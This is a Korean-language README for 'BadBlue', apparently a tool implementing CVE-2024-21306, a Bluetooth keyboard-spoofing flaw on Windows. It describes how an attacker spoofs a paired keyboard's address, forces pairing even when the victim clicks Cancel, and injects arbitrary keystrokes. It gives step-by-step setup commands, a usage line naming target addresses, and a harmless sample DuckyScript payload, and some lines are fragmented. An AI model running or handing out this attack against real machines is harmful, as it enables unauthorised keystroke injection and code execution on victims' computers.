
CVE-2024-21306 BadBlue 구현 (DuckyScript 사용)
CVE-2024-21306 BadBlue 구현 (DuckyScript 사용)
비인증 피어링으로 인한 코드 실행 (HID 키보드 사용)
이것은 marcnewlin이 발견한 CVE의 구현입니다
BadBlue는 블루투스 장치의 취약점을 악용하기 위한 강력한 도구입니다. 이 스크립트를 실행하면 다음을 수행할 수 있습니다:
저는 CSR 4.0, ORICO 4.0 등 블루투스 모듈을 사용하여 어떤 Raspberry Pi 4와 VirtualBox에서도 이 도구를 성공적으로 실행했습니다. .3007보다 낮은 버전의 다양한 Windows에서 작동합니다. Windows 컴퓨터가 블루투스 키보드와 페어링되어 있어야 하며, 키보드가 꺼져 있어야 합니다(또는 범위를 벗어나 있어야 합니다).
공격자는 Ubuntu(Kali에서도 실행할 수 있지만 권장되지 않음) 컴퓨터와 Broadcom 기반 블루투스 어댑터(CSR 4.0도 실행 가능할 수 있음)를 사용하여 대상 키보드의 주소를 스푸핑하고 NoInputNoOutput SSP 페어링 기능을 지정하면서 Windows 컴퓨터의 L2CAP 17에 연결합니다.
피해자는 Add a device Tap to set up your <Keyboard Name>라는 알림을 보게 됩니다.
알림을 무시하면 아무 일도 일어나지 않습니다.
알림을 클릭하면 블루투스 페어링 요청 대화상자가 표시됩니다.
피해자가 Add a Bluetooth device UI를 열어 둔 경우 알림이 표시되지 않고 대신 페어링 요청이 모달 대화상자로 즉시 표시됩니다.
공격자는 사용자가 Cancel 또는 X를 클릭하더라도 페어링 요청 대화상자가 닫히면 페어링을 완료할 수 있습니다. 페어링이 완료되면 공격자는 L2CAP 17(HID Control)에 연결합니다.
그런 다음 공격자는 L2CAP 19(HID Interrupt)에 연결하여 임의의 키 입력을 주입할 수 있습니다.
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel 또는 Approve를 클릭합니다).-k는 키보드입니다(기본값은 제 키보드 F4:73:35:7A:4B:BB이며, 변경해야 합니다).
-i는 인터페이스입니다(기본값 hci0).
-c는 대상 Windows 장치입니다(비워 두면 도구가 자동으로 스캔합니다).
작업 진행 중:
처음 사용할 때 readchar가 없다면 다음 명령어를 사용하세요:
pip install readchar
이 도구는 GUI 환경에서 실행해야 합니다. CLI에서는 dbus-launch 오류가 발생할 수 있습니다. 해결 방법을 알면 저에게 연락해 주세요.
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<>.?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300